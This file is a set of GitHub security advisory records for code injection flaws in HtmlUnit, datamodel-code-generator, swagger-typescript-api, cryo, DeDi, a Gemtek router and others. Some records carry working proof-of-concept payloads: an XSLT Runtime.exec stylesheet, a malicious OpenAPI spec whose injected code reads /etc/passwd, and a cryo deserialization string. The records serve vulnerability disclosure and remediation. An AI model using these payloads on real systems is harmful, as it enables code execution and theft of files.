CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2006-5507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-10-25T22:07:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Der Dirigent (DeDi) 1.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfg_dedi[dedi_path] parameter in (1) find.php, (2) insert_line.php, (3) fullscreen.php, (4) changecase.php, (5) insert_link.php, (6) insert_table.php, (7) table_cellprop.php, (8) table_prop.php, (9) table_rowprop.php, (10) insert_page.php, and possibly insert_marquee.php in backend/external/wysiswg/popups/.",
  "id": "GHSA-37v3-73mx-jw5v",
  "modified": "2022-05-01T07:29:02Z",
  "published": "2022-05-01T07:29:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5507"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29760"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/0610-exploits/Derdirigent.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22546"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29950"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29951"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29952"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29953"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29954"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29955"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29956"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29957"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29958"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29959"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20702"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4164"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.htmlunit:htmlunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-04T23:13:30Z",
    "nvd_published_at": "2023-12-04T05:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker\u2019s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n  \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n  \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n  \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n   \u003cxsl:template match=\"/\"\u003e\n     \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n     \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,\u0027open -a Calculator\u0027)\"/\u003e\n     \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n     \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n   \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution",
  "id": "GHSA-37vq-hr2f-g7h7",
  "modified": "2023-12-04T23:13:30Z",
  "published": "2023-12-04T23:13:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HtmlUnit/htmlunit"
    },
    {
      "type": "WEB",
      "url": "https://www.htmlunit.org/changes-report.html#a3.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL"
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-1177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-29T19:30:00Z",
    "severity": "HIGH"
  },
  "details": "Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via vectors involving document.write calls with long crafted strings.",
  "id": "GHSA-37w4-g5xj-jwm8",
  "modified": "2022-05-02T06:19:53Z",
  "published": "2022-05-02T06:19:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1177"
    },
    {
      "type": "WEB",
      "url": "http://nishantdaspatnaik.yolasite.com/ipodpoc2.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38994"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-39715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-07T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "A code injection vulnerability that allows a low-privileged user with REST API access granted to remotely upload arbitrary files to the VSPC server using REST API, leading to remote code execution on VSPC server.",
  "id": "GHSA-385q-2f2c-f3c9",
  "modified": "2024-09-07T18:30:24Z",
  "published": "2024-09-07T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39715"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.60.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:48:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`datamodel-code-generator` is vulnerable to code injection when generating Python models from an attacker-controlled JSON Schema, OpenAPI, YAML, JSON, Avro, Protobuf, or XSD schema. When a property carries a `\"default_factory\"` key, its value is interpolated verbatim \u2014 as a raw Python expression \u2014 into the generated `Field(default_factory=...)` / `field(default_factory=...)` call. Because this assignment is evaluated at class-definition time (i.e. on `import` of the generated module), an attacker who controls the schema controls a Python expression that runs in the consumer\u0027s process. No special CLI flags are required.\n\n### Details\n\nThe vulnerable chain spans the JSON-Schema-shaped parser and three sink locations (Pydantic v2, dataclass, msgspec):\n\n**Source \u2014 schema \u2192 `extras`**:\n\n- `src/datamodel_code_generator/parser/jsonschema.py:600-614` \u2014 `DEFAULT_FIELD_KEYS` includes the literal string `\"default_factory\"`.\n- `src/datamodel_code_generator/parser/jsonschema.py:457-459` \u2014 `JsonSchemaObject.__init__` stores any non-standard key (including `default_factory`) in `self.extras`.\n- `src/datamodel_code_generator/parser/jsonschema.py:797-812` \u2014 `get_field_extras` preserves `default_factory` through to the field model.\n\n**Sinks \u2014 `extras` \u2192 generated Python expression**:\n\n1. `src/datamodel_code_generator/model/pydantic_base.py:222-249`:\n\n   ```python\n   default_factory = data.pop(\"default_factory\", None)\n   ...\n   if default_factory is not None:\n       field_arguments = [f\"default_factory={default_factory}\", *field_arguments]\n   ```\n\n   The `default_factory` value is interpolated raw (no `repr()`, no validation).\n\n2. `src/datamodel_code_generator/model/dataclass.py:211`:\n\n   ```python\n   f\"{k}={v if k == \u0027default_factory\u0027 else repr(v)}\"\n   ```\n\n   Explicit special-case to skip `repr()` for `default_factory`.\n\n3. `src/datamodel_code_generator/model/msgspec.py:361` \u2014 same pattern as dataclass.\n\nBecause `default_factory` is in `DEFAULT_FIELD_KEYS`, no special CLI flag is needed to reach the sink. Any input format that uses the JSON-Schema-shaped parser (`jsonschema`, `openapi`, `yaml`, `json`, `dict`, `csv`) \u2014 and any input format that converts to it (`avro`, `protobuf`, `xmlschema`) \u2014 is in scope.\n\n### Confirmed PoC matrix\n\n| Input file type | Output model type | Result |\n|---|---|---|\n| `jsonschema` | `pydantic_v2.BaseModel` | RCE on import |\n| `jsonschema` | `dataclasses.dataclass` | RCE on import |\n| `jsonschema` | `msgspec.Struct` | RCE on import |\n| `jsonschema` | `typing.TypedDict` | safe (TypedDict doesn\u0027t render `field()`; `default_factory` silently dropped) |\n| `openapi`    | `pydantic_v2.BaseModel` | RCE on import |\n\nOther JSON-Schema-shaped inputs (`yaml`, `json`, `dict`, `csv`, `avro`, `protobuf`, `xmlschema`) follow the same code path and are expected to reproduce.\n\n### PoC\nSelf contained Proof of Concept is available at my secret gist: https://gist.github.com/thegr1ffyn/9648b0fe4fcf7d569ac8e61dd11eebaf\n\n### Impact\n\n- **Who\u0027s affected**: any developer or CI pipeline that runs `datamodel-codegen` against a schema they didn\u0027t author themselves \u2014 third-party API specs, schemas pulled from a registry, vendored upstream `.json` / `.yaml` / `.avsc` / `.proto` / `.xsd` files, schemas fetched from a remote URL or introspection endpoint \u2014 *and* who imports the generated `.py`.\n- **What it gains**: arbitrary Python code execution in the importer\u0027s process at `import` time. The PoC copies `/etc/passwd` to a tmp file to demonstrate arbitrary read; the same primitive supports any operation the importing process can perform (filesystem write, environment exfiltration, secondary network calls, RCE on CI runners).\n- **What it does NOT need**: no special CLI flags, no custom templates, no `--extra-template-data`, no `--use-schema-description`. Default invocation against a malicious schema is sufficient.\n- **What does block it**: choosing `--output-model-type typing.TypedDict` (which doesn\u0027t render `field()` / `Field()` calls). All other supported output model types are vulnerable.\n\n### Resolution\n\nThe fix validates schema-provided `default_factory` values while extracting JSON Schema field extras. Only the supported factory names `dict`, `list`, and `set` are accepted; any other value now raises a generator error before code generation. Generator-created default factories for supported mutable defaults and optional nested models continue to use the existing code paths.\n\n### Remediation\n\nUpgrade to `datamodel-code-generator` `0.60.2` or later.\n\nThis issue affects `datamodel-code-generator` versions `\u003e= 0.17.0, \u003c= 0.60.1` and is fixed in `0.60.2`.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-386q-5hp3-95m9",
  "modified": "2026-07-28T21:48:14Z",
  "published": "2026-07-28T21:48:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-386q-5hp3-95m9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/17fc235e234cbcfaaadef8c74cb72c9687db0d1d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`datamodel-code-generator` vulnerable to code injection in via attacker-controlled `default_factory` schema field"
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-0583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-02-05T03:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-zone scripting vulnerability in the Internet Explorer web control in Skype 3.6.0.244, and earlier 3.5.x and 3.6.x versions, on Windows allows user-assisted remote attackers to inject arbitrary web script or HTML in the Local Machine Zone via the Description and unspecified other metadata fields of a Metacafe movie submitted by Metacafe Pro to the Skype video gallery, accessible through a search within the (1) \"Add video to chat\" or (2) \"Add video to mood\" dialog, a different vector than CVE-2008-0454.",
  "id": "GHSA-3876-f57v-xhhx",
  "modified": "2022-05-01T23:31:43Z",
  "published": "2022-05-01T23:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0583"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39754"
    },
    {
      "type": "WEB",
      "url": "http://aviv.raffon.net/2008/01/22/NoMoreVideosForYouComeBackWhenPatchAvailable.aspx"
    },
    {
      "type": "WEB",
      "url": "http://skype.com/security/skype-sb-2008-001-update1.htm"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/794236"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27338"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-24365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-24T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on Gemtek WRTM-127ACN 01.01.02.141 and WRTM-127x9 01.01.02.127 devices. The Monitor Diagnostic network page allows an authenticated attacker to execute a command directly on the target machine. Commands are executed as the root user (uid 0). (Even if a login is required, most routers are left with default credentials.)",
  "id": "GHSA-3876-gmcv-479m",
  "modified": "2022-05-24T17:29:23Z",
  "published": "2022-05-24T17:29:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24365"
    },
    {
      "type": "WEB",
      "url": "https://pastebin.com/QTev1TjM"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160136/Gemtek-WVRTM-127ACN-01.01.02.141-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:31:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `\"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process\u0027s privileges.\n\nThis is the *axios* sibling of the previously reported fetch-client RCE \u2014 same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `\u003c%~ %\u003e` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix \u2014 sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` \u2014 closes both at once.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body:\n\n```ejs\nconstructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig\u003cSecurityDataType\u003e = {}) {\n    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || \"\u003c%~ apiConfig.baseUrl %\u003e\" })\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nThe injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible \u2014 but **computed property keys** are. A spec value of the form:\n\n```\nURL\", [(IIFE)()]: 0, dummy: \"\n```\n\nproduces the following object literal:\n\n```js\naxios.create({\n  ...axiosConfig,\n  baseURL: axiosConfig.baseURL || \"URL\",\n  [(IIFE)()]: 0,\n  dummy: \"\"\n})\n```\n\nThe IIFE evaluates eagerly when the object literal is constructed \u2014 i.e. every time `new HttpClient()` runs. The trailing `dummy: \"\"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\n**Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:\n\n- Every README example in this repository does `const api = new Api()` at module top level.\n- `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.\n- Top-level `const api = new Api()` runs at module load \u2014 the consumer cannot import without instantiating in the documented usage pattern.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\", [(async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} return \u0027pwned\u0027; })()]: 0, dummy: \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"AxiosPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\", [(async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} return \u0027pwned\u0027; })()]: 0, dummy: \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild axios\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027axios\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --external:axios --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n  new mod.HttpClient();\n  await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (constructor \u2014 payload, Biome-formatted):**\n\n```ts\nconstructor({\n  securityWorker,\n  secure,\n  format,\n  ...axiosConfig\n}: ApiConfig\u003cSecurityDataType\u003e = {}) {\n  this.instance = axios.create({\n    ...axiosConfig,\n    baseURL: axiosConfig.baseURL || \"https://api.example.com\",\n    [(async () =\u003e {\n      try {\n        const fs = await import(\"node:fs\");\n        const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n        fs.writeFileSync(\"/tmp/sta_canary\", data);\n      } catch (e) {}\n      return \"pwned\";\n    })()]: 0,\n    dummy: \"\",\n  });\n  this.secure = secure;\n  this.format = format;\n  this.securityWorker = securityWorker;\n}\n```\n\nThe `[(async () =\u003e { ... })()]: 0` is a real computed object-literal key \u2014 Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `baseURL: ... || \"https://api.example.com\"` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: \"axios\"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:\n\n- `sta generate --http-client axios --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import \u2014 `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-38c3-wv3c-v3xj",
  "modified": "2026-07-29T14:31:15Z",
  "published": "2026-07-29T14:31:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-55085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-16T23:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "GetSimple CMS CE 3.3.19 suffers from arbitrary code execution in the template editing function in the background management system, which can be used by an attacker to implement RCE.",
  "id": "GHSA-38cx-x5rg-m9mx",
  "modified": "2024-12-17T15:31:43Z",
  "published": "2024-12-17T00:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55085"
    },
    {
      "type": "WEB",
      "url": "https://getsimple-ce.ovh"
    },
    {
      "type": "WEB",
      "url": "https://tasteful-stamp-da4.notion.site/CVE-2024-55085-15b1e0f227cb80a5aee6faeb820bf7e6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "cryo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-3784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:54:31Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require(\u0027cryo\u0027);\nvar frozen = \u0027{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}\u0027\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
  "id": "GHSA-38f5-ghc2-fcmv",
  "modified": "2023-09-12T18:38:55Z",
  "published": "2018-08-21T17:02:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3784"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/350418"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-38f5-ghc2-fcmv"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/690"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Injection in cryo"
}